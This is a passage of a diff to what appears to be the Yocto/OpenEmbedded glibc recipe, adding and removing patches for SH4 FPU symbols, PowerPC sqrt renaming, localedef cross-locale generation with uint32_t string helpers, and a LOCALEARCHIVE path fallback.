-diff --git a/sysdeps/powerpc/powerpc32/e6500/fpu/e_sqrt.c b/sysdeps/powerpc/powerpc32/e6500/fpu/e_sqrt.c
-index 1c34244bd8..7038a70b47 100644
---- a/sysdeps/powerpc/powerpc32/e6500/fpu/e_sqrt.c
-+++ b/sysdeps/powerpc/powerpc32/e6500/fpu/e_sqrt.c
-@@ -41,10 +41,10 @@ static const float half = 0.5;
-
- #ifdef __STDC__
- double
--__ieee754_sqrt (double b)
-+__slow_ieee754_sqrt (double b)
- #else
- double
--__ieee754_sqrt (b)
-+__slow_ieee754_sqrt (b)
- double b;
- #endif
- {
-@@ -83,7 +83,7 @@ __ieee754_sqrt (b)
-
- /* Handle small numbers by scaling. */
- if (__builtin_expect ((u.parts.msw & 0x7ff00000) <= 0x02000000, 0))
-- return __ieee754_sqrt (b * two108) * twom54;
-+ return __slow_ieee754_sqrt (b * two108) * twom54;
-
- #define FMADD(a_, c_, b_) \
- ({ double __r; \
-diff --git a/sysdeps/powerpc/powerpc32/e6500/fpu/e_sqrtf.c b/sysdeps/powerpc/powerpc32/e6500/fpu/e_sqrtf.c
-index 812653558f..10de1f0cc3 100644
---- a/sysdeps/powerpc/powerpc32/e6500/fpu/e_sqrtf.c
-+++ b/sysdeps/powerpc/powerpc32/e6500/fpu/e_sqrtf.c
-@@ -39,10 +39,10 @@ static const float threehalf = 1.5;
-
- #ifdef __STDC__
- float
--__ieee754_sqrtf (float b)
-+__slow_ieee754_sqrtf (float b)
- #else
- float
--__ieee754_sqrtf (b)
-+__slow_ieee754_sqrtf (b)
- float b;
- #endif
- {
---
-2.22.0
-
diff --git a/meta/recipes-core/glibc/glibc/0012-eglibc-Resolve-__fpscr_values-on-SH4.patch b/meta/recipes-core/glibc/glibc/0012-eglibc-Resolve-__fpscr_values-on-SH4.patch
new file mode 100644
index 0000000000..03c81bfbd7
--- /dev/null
+++ b/meta/recipes-core/glibc/glibc/0012-eglibc-Resolve-__fpscr_values-on-SH4.patch
@@ -0,0 +1,53 @@
+From e5999ffd1b8690c2902a6406c07f51023a6bf7ec Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Wed, 18 Mar 2015 00:55:53 +0000
+Subject: [PATCH] eglibc: Resolve __fpscr_values on SH4
+
+2010-09-29 Nobuhiro Iwamatsu <iwamatsu@nigauri.org>
+ Andrew Stubbs <ams@codesourcery.com>
+
+ Resolve SH's __fpscr_values to symbol in libc.so.
+
+ * sysdeps/sh/sh4/fpu/fpu_control.h: Add C++ __set_fpscr prototype.
+ * sysdeps/unix/sysv/linux/sh/Versions (GLIBC_2.2): Add __fpscr_values.
+ * sysdeps/unix/sysv/linux/sh/sysdep.S (___fpscr_values): New constant.
+
+Upstream-Status: Pending
+
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ sysdeps/unix/sysv/linux/sh/Versions | 1 +
+ sysdeps/unix/sysv/linux/sh/sysdep.S | 11 +++++++++++
+ 2 files changed, 12 insertions(+)
+
+diff --git a/sysdeps/unix/sysv/linux/sh/Versions b/sysdeps/unix/sysv/linux/sh/Versions
+index 9c734ff755..974e33b4b1 100644
+--- a/sysdeps/unix/sysv/linux/sh/Versions
++++ b/sysdeps/unix/sysv/linux/sh/Versions
+@@ -3,6 +3,7 @@ libc {
+ GLIBC_2.2 {
+ # functions used in other libraries
+ __xstat64; __fxstat64; __lxstat64;
++ __fpscr_values;
+
+ # a*
+ alphasort64;
+diff --git a/sysdeps/unix/sysv/linux/sh/sysdep.S b/sysdeps/unix/sysv/linux/sh/sysdep.S
+index a18fbb2e8b..59421bfbb0 100644
+--- a/sysdeps/unix/sysv/linux/sh/sysdep.S
++++ b/sysdeps/unix/sysv/linux/sh/sysdep.S
+@@ -30,3 +30,14 @@ ENTRY (__syscall_error)
+
+ #define __syscall_error __syscall_error_1
+ #include <sysdeps/unix/sh/sysdep.S>
++
++ .data
++ .align 3
++ .globl ___fpscr_values
++ .type ___fpscr_values, @object
++ .size ___fpscr_values, 8
++___fpscr_values:
++ .long 0
++ .long 0x80000
++weak_alias (___fpscr_values, __fpscr_values)
++
diff --git a/meta/recipes-core/glibc/glibc/0013-eglibc-Forward-port-cross-locale-generation-support.patch b/meta/recipes-core/glibc/glibc/0013-eglibc-Forward-port-cross-locale-generation-support.patch
new file mode 100644
index 0000000000..48bb062e09
--- /dev/null
+++ b/meta/recipes-core/glibc/glibc/0013-eglibc-Forward-port-cross-locale-generation-support.patch
@@ -0,0 +1,560 @@
+From 99ae3189430eaa5472b2117e5a999109a6ca9251 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Wed, 18 Mar 2015 01:33:49 +0000
+Subject: [PATCH] eglibc: Forward port cross locale generation support
+
+Upstream-Status: Pending
+
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ locale/Makefile | 3 +-
+ locale/catnames.c | 46 +++++++++++++++++++++++++++
+ locale/localeinfo.h | 2 +-
+ locale/programs/charmap-dir.c | 6 ++++
+ locale/programs/ld-collate.c | 17 +++++-----
+ locale/programs/ld-ctype.c | 27 ++++++++--------
+ locale/programs/ld-time.c | 31 ++++++++++++------
+ locale/programs/linereader.c | 2 +-
+ locale/programs/localedef.c | 8 +++++
+ locale/programs/locfile.c | 5 ++-
+ locale/programs/locfile.h | 59 +++++++++++++++++++++++++++++++++--
+ locale/setlocale.c | 29 -----------------
+ 12 files changed, 167 insertions(+), 68 deletions(-)
+ create mode 100644 locale/catnames.c
+
+diff --git a/locale/Makefile b/locale/Makefile
+index b7c60681fa..07c606cde3 100644
+--- a/locale/Makefile
++++ b/locale/Makefile
+@@ -26,7 +26,8 @@ headers = langinfo.h locale.h bits/locale.h \
+ bits/types/locale_t.h bits/types/__locale_t.h
+ routines = setlocale findlocale loadlocale loadarchive \
+ localeconv nl_langinfo nl_langinfo_l mb_cur_max \
+- newlocale duplocale freelocale uselocale
++ newlocale duplocale freelocale uselocale \
++ catnames
+ tests = tst-C-locale tst-locname tst-duplocale
+ tests-container = tst-localedef-path-norm
+ categories = ctype messages monetary numeric time paper name \
+diff --git a/locale/catnames.c b/locale/catnames.c
+new file mode 100644
+index 0000000000..538f3f5edb
+--- /dev/null
++++ b/locale/catnames.c
+@@ -0,0 +1,46 @@
++/* Copyright (C) 2006 Free Software Foundation, Inc.
++ This file is part of the GNU C Library.
++
++ The GNU C Library is free software; you can redistribute it and/or
++ modify it under the terms of the GNU Lesser General Public
++ License as published by the Free Software Foundation; either
++ version 2.1 of the License, or (at your option) any later version.
++
++ The GNU C Library is distributed in the hope that it will be useful,
++ but WITHOUT ANY WARRANTY; without even the implied warranty of
++ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
++ Lesser General Public License for more details.
++
++ You should have received a copy of the GNU Lesser General Public
++ License along with the GNU C Library; if not, write to the Free
++ Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA
++ 02111-1307 USA. */
++
++#include "localeinfo.h"
++
++/* Define an array of category names (also the environment variable names). */
++const struct catnamestr_t _nl_category_names attribute_hidden =
++ {
++#define DEFINE_CATEGORY(category, category_name, items, a) \
++ category_name,
++#include "categories.def"
++#undef DEFINE_CATEGORY
++ };
++
++const uint8_t _nl_category_name_idxs[__LC_LAST] attribute_hidden =
++ {
++#define DEFINE_CATEGORY(category, category_name, items, a) \
++ [category] = offsetof (struct catnamestr_t, CATNAMEMF (__LINE__)),
++#include "categories.def"
++#undef DEFINE_CATEGORY
++ };
++
++/* An array of their lengths, for convenience. */
++const uint8_t _nl_category_name_sizes[] attribute_hidden =
++ {
++#define DEFINE_CATEGORY(category, category_name, items, a) \
++ [category] = sizeof (category_name) - 1,
++#include "categories.def"
++#undef DEFINE_CATEGORY
++ [LC_ALL] = sizeof ("LC_ALL") - 1
++ };
+diff --git a/locale/localeinfo.h b/locale/localeinfo.h
+index 22f9dc1140..fa31b3c5ea 100644
+--- a/locale/localeinfo.h
++++ b/locale/localeinfo.h
+@@ -230,7 +230,7 @@ __libc_tsd_define (extern, locale_t, LOCALE)
+ unused. We can manage this playing some tricks with weak references.
+ But with thread-local locale settings, it becomes quite ungainly unless
+ we can use __thread variables. So only in that case do we attempt this. */
+-#ifndef SHARED
++#if !defined SHARED && !defined IN_GLIBC_LOCALEDEF
+ # include <tls.h>
+ # define NL_CURRENT_INDIRECT 1
+ #endif
+diff --git a/locale/programs/charmap-dir.c b/locale/programs/charmap-dir.c
+index 4841bfd05d..ffcba1fd79 100644
+--- a/locale/programs/charmap-dir.c
++++ b/locale/programs/charmap-dir.c
+@@ -18,7 +18,9 @@
+ #include <errno.h>
+ #include <fcntl.h>
+ #include <libintl.h>
++#ifndef NO_UNCOMPRESS
+ #include <spawn.h>
++#endif
+ #include <stdio.h>
+ #include <stdlib.h>
+ #include <string.h>
+@@ -154,6 +156,7 @@ charmap_closedir (CHARMAP_DIR *cdir)
+ return closedir (dir);
+ }
+
++#ifndef NO_UNCOMPRESS
+ /* Creates a subprocess decompressing the given pathname, and returns
+ a stream reading its output (the decompressed data). */
+ static
+@@ -202,6 +205,7 @@ fopen_uncompressed (const char *pathname, const char *compressor)
+ }
+ return NULL;
+ }
++#endif
+
+ /* Opens a charmap for reading, given its name (not an alias name). */
+ FILE *
+@@ -224,6 +228,7 @@ charmap_open (const char *directory, const char *name)
+ if (stream != NULL)
+ return stream;
+
++#ifndef NO_UNCOMPRESS
+ memcpy (p, ".gz", 4);
+ stream = fopen_uncompressed (pathname, "gzip");
+ if (stream != NULL)
+@@ -233,6 +238,7 @@ charmap_open (const char *directory, const char *name)
+ stream = fopen_uncompressed (pathname, "bzip2");
+ if (stream != NULL)
+ return stream;
++#endif
+
+ return NULL;
+ }
+diff --git a/locale/programs/ld-collate.c b/locale/programs/ld-collate.c
+index 06a5203334..84b3ff4166 100644
+--- a/locale/programs/ld-collate.c
++++ b/locale/programs/ld-collate.c
+@@ -352,7 +352,7 @@ new_element (struct locale_collate_t *collate, const char *mbs, size_t mbslen,
+ }
+ if (wcs != NULL)
+ {
+- size_t nwcs = wcslen ((wchar_t *) wcs);
++ size_t nwcs = wcslen_uint32 (wcs);
+ uint32_t zero = 0;
+ /* Handle <U0000> as a single character. */
+ if (nwcs == 0)
+@@ -1783,8 +1783,7 @@ symbol `%s' has the same encoding as"), (*eptr)->name);
+
+ if ((*eptr)->nwcs == runp->nwcs)
+ {
+- int c = wmemcmp ((wchar_t *) (*eptr)->wcs,
+- (wchar_t *) runp->wcs, runp->nwcs);
++ int c = wmemcmp_uint32 ((*eptr)->wcs, runp->wcs, runp->nwcs);
+
+ if (c == 0)
+ {
+@@ -2011,9 +2010,9 @@ add_to_tablewc (uint32_t ch, struct element_t *runp)
+ one consecutive entry. */
+ if (runp->wcnext != NULL
+ && runp->nwcs == runp->wcnext->nwcs
+- && wmemcmp ((wchar_t *) runp->wcs,
+- (wchar_t *)runp->wcnext->wcs,
+- runp->nwcs - 1) == 0
++ && wmemcmp_uint32 (runp->wcs,
++ runp->wcnext->wcs,
++ runp->nwcs - 1) == 0
+ && (runp->wcs[runp->nwcs - 1]
+ == runp->wcnext->wcs[runp->nwcs - 1] + 1))
+ {
+@@ -2037,9 +2036,9 @@ add_to_tablewc (uint32_t ch, struct element_t *runp)
+ runp = runp->wcnext;
+ while (runp->wcnext != NULL
+ && runp->nwcs == runp->wcnext->nwcs
+- && wmemcmp ((wchar_t *) runp->wcs,
+- (wchar_t *)runp->wcnext->wcs,
+- runp->nwcs - 1) == 0
++ && wmemcmp_uint32 (runp->wcs,
++ runp->wcnext->wcs,
++ runp->nwcs - 1) == 0
+ && (runp->wcs[runp->nwcs - 1]
+ == runp->wcnext->wcs[runp->nwcs - 1] + 1));
+
+diff --git a/locale/programs/ld-ctype.c b/locale/programs/ld-ctype.c
+index 07b64ac5a1..70b49ab733 100644
+--- a/locale/programs/ld-ctype.c
++++ b/locale/programs/ld-ctype.c
+@@ -914,7 +914,7 @@ ctype_output (struct localedef_t *locale, const struct charmap_t *charmap,
+ allocate_arrays (ctype, charmap, ctype->repertoire);
+
+ default_missing_len = (ctype->default_missing
+- ? wcslen ((wchar_t *) ctype->default_missing)
++ ? wcslen_uint32 (ctype->default_missing)
+ : 0);
+
+ init_locale_data (&file, nelems);
+@@ -1926,7 +1926,7 @@ read_translit_entry (struct linereader *ldfile, struct locale_ctype_t *ctype,
+ ignore = 1;
+ else
+ /* This value is usable. */
+- obstack_grow (ob, to_wstr, wcslen ((wchar_t *) to_wstr) * 4);
++ obstack_grow (ob, to_wstr, wcslen_uint32 (to_wstr) * 4);
+
+ first = 0;
+ }
+@@ -2460,8 +2460,8 @@ with character code range values one must use the absolute ellipsis `...'"));
+ }
+
+ handle_tok_digit:
+- class_bit = _ISwdigit;
+- class256_bit = _ISdigit;
++ class_bit = BITw (tok_digit);
++ class256_bit = BIT (tok_digit);
+ handle_digits = 1;
+ goto read_charclass;
+
+@@ -3903,8 +3903,7 @@ allocate_arrays (struct locale_ctype_t *ctype, const struct charmap_t *charmap,
+
+ while (idx < number)
+ {
+- int res = wcscmp ((const wchar_t *) sorted[idx]->from,
+- (const wchar_t *) runp->from);
++ int res = wcscmp_uint32 (sorted[idx]->from, runp->from);
+ if (res == 0)
+ {
+ replace = 1;
+@@ -3941,11 +3940,11 @@ allocate_arrays (struct locale_ctype_t *ctype, const struct charmap_t *charmap,
+ for (size_t cnt = 0; cnt < number; ++cnt)
+ {
+ struct translit_to_t *srunp;
+- from_len += wcslen ((const wchar_t *) sorted[cnt]->from) + 1;
++ from_len += wcslen_uint32 (sorted[cnt]->from) + 1;
+ srunp = sorted[cnt]->to;
+ while (srunp != NULL)
+ {
+- to_len += wcslen ((const wchar_t *) srunp->str) + 1;
++ to_len += wcslen_uint32 (srunp->str) + 1;
+ srunp = srunp->next;
+ }
+ /* Plus one for the extra NUL character marking the end of
+@@ -3969,18 +3968,18 @@ allocate_arrays (struct locale_ctype_t *ctype, const struct charmap_t *charmap,
+ ctype->translit_from_idx[cnt] = from_len;
+ ctype->translit_to_idx[cnt] = to_len;
+
+- len = wcslen ((const wchar_t *) sorted[cnt]->from) + 1;
+- wmemcpy ((wchar_t *) &ctype->translit_from_tbl[from_len],
+- (const wchar_t *) sorted[cnt]->from, len);
++ len = wcslen_uint32 (sorted[cnt]->from) + 1;
++ wmemcpy_uint32 (&ctype->translit_from_tbl[from_len],
++ sorted[cnt]->from, len);
+ from_len += len;
+
+ ctype->translit_to_idx[cnt] = to_len;
+ srunp = sorted[cnt]->to;
+ while (srunp != NULL)
+ {
+- len = wcslen ((const wchar_t *) srunp->str) + 1;
+- wmemcpy ((wchar_t *) &ctype->translit_to_tbl[to_len],
+- (const wchar_t *) srunp->str, len);
++ len = wcslen_uint32 (srunp->str) + 1;
++ wmemcpy_uint32 (&ctype->translit_to_tbl[to_len],
++ srunp->str, len);
+ to_len += len;
+ srunp = srunp->next;
+ }
+diff --git a/locale/programs/ld-time.c b/locale/programs/ld-time.c
+index e6f320d2b3..c6631ad101 100644
+--- a/locale/programs/ld-time.c
++++ b/locale/programs/ld-time.c
+@@ -219,8 +219,10 @@ No definition for %s category found"), "LC_TIME");
+ }
+ else
+ {
++ static const uint32_t wt_fmt_ampm[]
++ = { '%','I',':','%','M',':','%','S',' ','%','p',0 };
+ time->t_fmt_ampm = "%I:%M:%S %p";
+- time->wt_fmt_ampm = (const uint32_t *) L"%I:%M:%S %p";
++ time->wt_fmt_ampm = wt_fmt_ampm;
+ }
+ }
+
+@@ -230,7 +232,7 @@ No definition for %s category found"), "LC_TIME");
+ const int days_per_month[12] = { 31, 29, 31, 30, 31, 30,
+ 31, 31, 30, 31 ,30, 31 };
+ size_t idx;
+- wchar_t *wstr;
++ uint32_t *wstr;
+
+ time->era_entries =
+ (struct era_data *) xmalloc (time->num_era
+@@ -456,18 +458,18 @@ No definition for %s category found"), "LC_TIME");
+ }
+
+ /* Now generate the wide character name and format. */
+- wstr = wcschr ((wchar_t *) time->wera[idx], L':');/* end direction */
+- wstr = wstr ? wcschr (wstr + 1, L':') : NULL; /* end offset */
+- wstr = wstr ? wcschr (wstr + 1, L':') : NULL; /* end start */
+- wstr = wstr ? wcschr (wstr + 1, L':') : NULL; /* end end */
++ wstr = wcschr_uint32 (time->wera[idx], L':'); /* end direction */
++ wstr = wstr ? wcschr_uint32 (wstr + 1, L':') : NULL; /* end offset */
++ wstr = wstr ? wcschr_uint32 (wstr + 1, L':') : NULL; /* end start */
++ wstr = wstr ? wcschr_uint32 (wstr + 1, L':') : NULL; /* end end */
+ if (wstr != NULL)
+ {
+- time->era_entries[idx].wname = (uint32_t *) wstr + 1;
+- wstr = wcschr (wstr + 1, L':'); /* end name */
++ time->era_entries[idx].wname = wstr + 1;
++ wstr = wcschr_uint32 (wstr + 1, L':'); /* end name */
+ if (wstr != NULL)
+ {
+ *wstr = L'\0';
+- time->era_entries[idx].wformat = (uint32_t *) wstr + 1;
++ time->era_entries[idx].wformat = wstr + 1;
+ }
+ else
+ time->era_entries[idx].wname =
+@@ -526,7 +528,16 @@ No definition for %s category found"), "LC_TIME");
+ if (time->date_fmt == NULL)
+ time->date_fmt = "%a %b %e %H:%M:%S %Z %Y";
+ if (time->wdate_fmt == NULL)
+- time->wdate_fmt = (const uint32_t *) L"%a %b %e %H:%M:%S %Z %Y";
++ {
++ static const uint32_t wdate_fmt[] =
++ { '%','a',' ',
++ '%','b',' ',
++ '%','e',' ',
++ '%','H',':','%','M',':','%','S',' ',
++ '%','Z',' ',
++ '%','Y',0 };
++ time->wdate_fmt = wdate_fmt;
++ }
+ }
+
+
+diff --git a/locale/programs/linereader.c b/locale/programs/linereader.c
+index a1f22b28ed..cbd3b40ceb 100644
+--- a/locale/programs/linereader.c
++++ b/locale/programs/linereader.c
+@@ -594,7 +594,7 @@ get_string (struct linereader *lr, const struct charmap_t *charmap,
+ {
+ int return_widestr = lr->return_widestr;
+ char *buf;
+- wchar_t *buf2 = NULL;
++ uint32_t *buf2 = NULL;
+ size_t bufact;
+ size_t bufmax = 56;
+
+diff --git a/locale/programs/localedef.c b/locale/programs/localedef.c
+index f0da25e9e5..5d9e01cda2 100644
+--- a/locale/programs/localedef.c
++++ b/locale/programs/localedef.c
+@@ -108,6 +108,7 @@ void (*argp_program_version_hook) (FILE *, struct argp_state *) = print_version;
+ #define OPT_NO_WARN 402
+ #define OPT_WARN 403
+ #define OPT_NO_HARD_LINKS 404
++#define OPT_UINT32_ALIGN 405
+
+ /* Definitions of arguments for argp functions. */
+ static const struct argp_option options[] =
+@@ -152,6 +153,8 @@ static const struct argp_option options[] =
+ N_("Generate little-endian output") },
+ { "big-endian", OPT_BIG_ENDIAN, NULL, 0,
+ N_("Generate big-endian output") },
++ { "uint32-align", OPT_UINT32_ALIGN, "ALIGNMENT", 0,
++ N_("Set the target's uint32_t alignment in bytes (default 4)") },
+ { NULL, 0, NULL, 0, NULL }
+ };
+
+@@ -242,12 +245,14 @@ main (int argc, char *argv[])
+ ctype locale. (P1003.2 4.35.5.2) */
+ setlocale (LC_CTYPE, "POSIX");
+
++#ifndef NO_SYSCONF
+ /* Look whether the system really allows locale definitions. POSIX
+ defines error code 3 for this situation so I think it must be
+ a fatal error (see P1003.2 4.35.8). */
+ if (sysconf (_SC_2_LOCALEDEF) < 0)
+ record_error (3, 0, _("\
+ FATAL: system does not define `_POSIX2_LOCALEDEF'"));
++#endif
+
+ /* Process charmap file. */
+ charmap = charmap_read (charmap_file, verbose, 1, be_quiet, 1);
+@@ -399,6 +404,9 @@ parse_opt (int key, char *arg, struct argp_state *state)
+ /* Do not hard link to other locales. */
+ hard_links = false;
+ break;
++ case OPT_UINT32_ALIGN:
++ uint32_align_mask = strtol (arg, NULL, 0) - 1;
++ break;
+ case 'c':
+ force_output = 1;
+ break;
+diff --git a/locale/programs/locfile.c b/locale/programs/locfile.c
+index 1427b518a9..dafa84a20b 100644
+--- a/locale/programs/locfile.c
++++ b/locale/programs/locfile.c
+@@ -543,6 +543,9 @@ compare_files (const char *filename1, const char *filename2, size_t size,
+ machine running localedef. */
+ bool swap_endianness_p;
+
++/* The target's value of __align__(uint32_t) - 1. */
++unsigned int uint32_align_mask = 3;
++
+ /* When called outside a start_locale_structure/end_locale_structure
+ or start_locale_prelude/end_locale_prelude block, record that the
+ next byte in FILE's obstack will be the first byte of a new element.
+@@ -620,7 +623,7 @@ add_locale_string (struct locale_file *file, const char *string)
+ void
+ add_locale_wstring (struct locale_file *file, const uint32_t *string)
+ {
+- add_locale_uint32_array (file, string, wcslen ((const wchar_t *) string) + 1);
++ add_locale_uint32_array (file, string, wcslen_uint32 (string) + 1);
+ }
+
+ /* Record that FILE's next element is the 32-bit integer VALUE. */
+diff --git a/locale/programs/locfile.h b/locale/programs/locfile.h
+index cbc20fe88d..ae88e6d0af 100644
+--- a/locale/programs/locfile.h
++++ b/locale/programs/locfile.h
+@@ -70,6 +70,8 @@ extern void write_all_categories (struct localedef_t *definitions,
+
+ extern bool swap_endianness_p;
+
++extern unsigned int uint32_align_mask;
++
+ /* Change the output to be big-endian if BIG_ENDIAN is true and
+ little-endian otherwise. */
+ static inline void
+@@ -88,7 +90,8 @@ maybe_swap_uint32 (uint32_t value)
+ }
+
+ /* Likewise, but munge an array of N uint32_ts starting at ARRAY. */
+-static inline void
++static void
++__attribute__ ((unused))
+ maybe_swap_uint32_array (uint32_t *array, size_t n)
+ {
+ if (swap_endianness_p)
+@@ -98,7 +101,8 @@ maybe_swap_uint32_array (uint32_t *array, size_t n)
+
+ /* Like maybe_swap_uint32_array, but the array of N elements is at
+ the end of OBSTACK's current object. */
+-static inline void
++static void
++__attribute__ ((unused))
+ maybe_swap_uint32_obstack (struct obstack *obstack, size_t n)
+ {
+ maybe_swap_uint32_array ((uint32_t *) obstack_next_free (obstack) - n, n);
+@@ -275,4 +279,55 @@ extern void identification_output (struct localedef_t *locale,
+ const struct charmap_t *charmap,
+ const char *output_path);
+
++static size_t wcslen_uint32 (const uint32_t *str) __attribute__ ((unused));
++static uint32_t * wmemcpy_uint32 (uint32_t *s1, const uint32_t *s2, size_t n) __attribute__ ((unused));
++static uint32_t * wcschr_uint32 (const uint32_t *s, uint32_t ch) __attribute__ ((unused));
++static int wcscmp_uint32 (const uint32_t *s1, const uint32_t *s2) __attribute__ ((unused));
++static int wmemcmp_uint32 (const uint32_t *s1, const uint32_t *s2, size_t n) __attribute__ ((unused));
++
++static size_t
++wcslen_uint32 (const uint32_t *str)
++{
++ size_t len = 0;
++ while (str[len] != 0)
++ len++;
++ return len;
++}
++
++static int
++wmemcmp_uint32 (const uint32_t *s1, const uint32_t *s2, size_t n)
++{
++ while (n-- != 0)
++ {
++ int diff = *s1++ - *s2++;
++ if (diff != 0)
++ return diff;
++ }
++ return 0;
++}
++
++static int
++wcscmp_uint32 (const uint32_t *s1, const uint32_t *s2)
++{
++ while (*s1 != 0 && *s1 == *s2)
++ s1++, s2++;
++ return *s1 - *s2;
++}
++
++static uint32_t *
++wmemcpy_uint32 (uint32_t *s1, const uint32_t *s2, size_t n)
++{
++ return memcpy (s1, s2, n * sizeof (uint32_t));
++}
++
++static uint32_t *
++wcschr_uint32 (const uint32_t *s, uint32_t ch)
++{
++ do
++ if (*s == ch)
++ return (uint32_t *) s;
++ while (*s++ != 0);
++ return 0;
++}
++
+ #endif /* locfile.h */
+diff --git a/locale/setlocale.c b/locale/setlocale.c
+index 19ed85ae8e..f28ca11446 100644
+--- a/locale/setlocale.c
++++ b/locale/setlocale.c
+@@ -63,35 +63,6 @@ static char *const _nl_current_used[] =
+
+ #endif
+
+-
+-/* Define an array of category names (also the environment variable names). */
+-const struct catnamestr_t _nl_category_names attribute_hidden =
+- {
+-#define DEFINE_CATEGORY(category, category_name, items, a) \
+- category_name,
+-#include "categories.def"
+-#undef DEFINE_CATEGORY
+- };
+-
+-const uint8_t _nl_category_name_idxs[__LC_LAST] attribute_hidden =
+- {
+-#define DEFINE_CATEGORY(category, category_name, items, a) \
+- [category] = offsetof (struct catnamestr_t, CATNAMEMF (__LINE__)),
+-#include "categories.def"
+-#undef DEFINE_CATEGORY
+- };
+-
+-/* An array of their lengths, for convenience. */
+-const uint8_t _nl_category_name_sizes[] attribute_hidden =
+- {
+-#define DEFINE_CATEGORY(category, category_name, items, a) \
+- [category] = sizeof (category_name) - 1,
+-#include "categories.def"
+-#undef DEFINE_CATEGORY
+- [LC_ALL] = sizeof ("LC_ALL") - 1
+- };
+-
+-
+ #ifdef NL_CURRENT_INDIRECT
+ # define WEAK_POSTLOAD(postload) weak_extern (postload)
+ #else
diff --git a/meta/recipes-core/glibc/glibc/0013-sysdeps-gnu-configure.ac-handle-correctly-libc_cv_ro.patch b/meta/recipes-core/glibc/glibc/0013-sysdeps-gnu-configure.ac-handle-correctly-libc_cv_ro.patch
deleted file mode 100644
index 9ba52e6e10..0000000000
--- a/meta/recipes-core/glibc/glibc/0013-sysdeps-gnu-configure.ac-handle-correctly-libc_cv_ro.patch
+++ /dev/null
@@ -1,42 +0,0 @@
-From 1ba4e9577437632856d719cbd5d63b5a76cbb4c4 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Wed, 18 Mar 2015 00:27:10 +0000
-Subject: [PATCH 13/28] sysdeps/gnu/configure.ac: handle correctly
- $libc_cv_rootsbindir
-
-Upstream-Status:Pending
-
-Signed-off-by: Matthieu Crapet <Matthieu.Crapet@ingenico.com>
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- sysdeps/gnu/configure | 2 +-
- sysdeps/gnu/configure.ac | 2 +-
- 2 files changed, 2 insertions(+), 2 deletions(-)
-
-diff --git a/sysdeps/gnu/configure b/sysdeps/gnu/configure
-index c15d1087e8..37cc983f2a 100644
---- a/sysdeps/gnu/configure
-+++ b/sysdeps/gnu/configure
-@@ -32,6 +32,6 @@ case "$prefix" in
- else
- libc_cv_localstatedir=$localstatedir
- fi
-- libc_cv_rootsbindir=/sbin
-+ test -n "$libc_cv_rootsbindir" || libc_cv_rootsbindir=/sbin
- ;;
- esac
-diff --git a/sysdeps/gnu/configure.ac b/sysdeps/gnu/configure.ac
-index 634fe4de2a..3db1697f4f 100644
---- a/sysdeps/gnu/configure.ac
-+++ b/sysdeps/gnu/configure.ac
-@@ -21,6 +21,6 @@ case "$prefix" in
- else
- libc_cv_localstatedir=$localstatedir
- fi
-- libc_cv_rootsbindir=/sbin
-+ test -n "$libc_cv_rootsbindir" || libc_cv_rootsbindir=/sbin
- ;;
- esac
---
-2.22.0
-
diff --git a/meta/recipes-core/glibc/glibc/0014-Add-unused-attribute.patch b/meta/recipes-core/glibc/glibc/0014-Add-unused-attribute.patch
deleted file mode 100644
index 0a602bb38c..0000000000
--- a/meta/recipes-core/glibc/glibc/0014-Add-unused-attribute.patch
+++ /dev/null
@@ -1,34 +0,0 @@
-From b84999dcf642b07e6c14e6ff507be14743349949 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Wed, 18 Mar 2015 00:28:41 +0000
-Subject: [PATCH 14/28] Add unused attribute
-
-Helps in avoiding gcc warning when header is is included in
-a source file which does not use both functions
-
- * iconv/gconv_charset.h (strip):
- Add unused attribute.
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-
-Upstream-Status: Pending
----
- iconv/gconv_charset.h | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/iconv/gconv_charset.h b/iconv/gconv_charset.h
-index 91e0ad3141..2e9549fe49 100644
---- a/iconv/gconv_charset.h
-+++ b/iconv/gconv_charset.h
-@@ -21,7 +21,7 @@
- #include <locale.h>
-
-
--static void
-+static void __attribute__ ((unused))
- strip (char *wp, const char *s)
- {
- int slash_count = 0;
---
-2.22.0
-
diff --git a/meta/recipes-core/glibc/glibc/0014-localedef-add-to-archive-uses-a-hard-coded-locale-pa.patch b/meta/recipes-core/glibc/glibc/0014-localedef-add-to-archive-uses-a-hard-coded-locale-pa.patch
new file mode 100644
index 0000000000..eae1ee8907
--- /dev/null
+++ b/meta/recipes-core/glibc/glibc/0014-localedef-add-to-archive-uses-a-hard-coded-locale-pa.patch
@@ -0,0 +1,80 @@
+From 32c2e23ad29f63f57f544daf1a59259147cd1008 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Fri, 3 Aug 2018 09:42:06 -0700
+Subject: [PATCH] localedef --add-to-archive uses a hard-coded locale path
+
+it doesn't exist in normal use, and there's no way to pass an
+alternative filename.
+
+Add a fallback of $LOCALEARCHIVE from the environment, and allow
+creation of new locale archives that are not the system archive.
+
+Upstream-Status: Inappropriate (OE-specific)
+
+Signed-off-by: Ross Burton <ross.burton@intel.com>
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ locale/programs/locarchive.c | 35 +++++++++++++++++++++++++----------
+ 1 file changed, 25 insertions(+), 10 deletions(-)
+
+diff --git a/locale/programs/locarchive.c b/locale/programs/locarchive.c
+index 477499bd40..fe7b5ff60c 100644
+--- a/locale/programs/locarchive.c
++++ b/locale/programs/locarchive.c
+@@ -339,12 +339,24 @@ enlarge_archive (struct locarhandle *ah, const struct locarhead *head)
+ struct namehashent *oldnamehashtab;
+ struct locarhandle new_ah;
+ size_t prefix_len = output_prefix ? strlen (output_prefix) : 0;
+- char archivefname[prefix_len + sizeof (ARCHIVE_NAME)];
+- char fname[prefix_len + sizeof (ARCHIVE_NAME) + sizeof (".XXXXXX") - 1];
++ char *archivefname;
++ char *fname;
++ char *envarchive = getenv("LOCALEARCHIVE");
+
+- if (output_prefix)
+- memcpy (archivefname, output_prefix, prefix_len);
